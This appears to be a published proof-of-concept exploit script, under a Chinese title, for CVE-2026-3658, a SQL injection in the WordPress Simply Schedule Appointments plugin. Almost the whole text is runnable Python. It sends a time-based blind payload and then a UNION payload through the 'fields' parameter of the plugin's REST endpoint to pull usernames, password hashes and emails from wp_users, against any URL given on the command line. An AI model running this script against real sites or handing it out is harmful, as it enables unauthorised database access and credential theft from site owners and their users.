CVE-2026-3658 WordPress Simply Schedule Appointments插件SQL注入漏洞

import requests import sys # CVE-2026-3658 SQL Injection PoC # Target: WordPress Simply Schedule Appointments Booking Plugin < 1.6.10.1 # Vulnerability: SQL Injection via 'fields' parameter def exploit_sql_injection(target_url): """ Exploit SQL injection vulnerability in Simply Schedule Appointments plugin This PoC demonstrates extracting database user() information """ # Endpoint for appointment types API endpoint = f"{target_url}/wp-json/ssa/v1/appointment_types" # Malicious payload to extract database user information # Using time-based blind SQL injection technique payload = { 'fields': "1,2,(SELECT SLEEP(5) AND (SELECT user FROM wp_users LIMIT 1))" } headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } print(f"[*] Target: {target_url}") print(f"[*] Exploiting SQL Injection vulnerability...") print(f"[*] Payload: {payload['fields']}") try: response = requests.get(endpoint, params=payload, headers=headers, timeout=30) print(f"[*] Response Status: {response.status_code}") if response.status_code == 200: print("[+] Request successful - potential SQL injection detected") print(f"[*] Response: {response.text[:500]}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.Timeout: print("[+] Time-based SQL injection confirmed - database is vulnerable") except Exception as e: print(f"[-] Error: {str(e)}") def extract_user_data(target_url): """ Extract sensitive user data using UNION-based SQL injection """ endpoint = f"{target_url}/wp-json/ssa/v1/appointment_types" # UNION-based injection to extract user credentials union_payload = "1 UNION SELECT user_login,user_pass,user_email,4,5,6,7 FROM wp_users--" payload = {'fields': union_payload} headers = {'User-Agent': 'Mozilla/5.0'} print(f"[*] Extracting user data with UNION injection...") try: response = requests.get(endpoint, params=payload, headers=headers, timeout=30) print(f"[*] Response Status: {response.status_code}") if response.status_code == 200 and 'user_login' in response.text: print("[+] User data extraction successful") print(f"[*] Response: {response.text[:1000]}") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-3658_poc.py <target_url>") print("Example: python cve-2026-3658_poc.py http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sql_injection(target) print("\n[*] Attempting data extraction...") extract_user_data(target)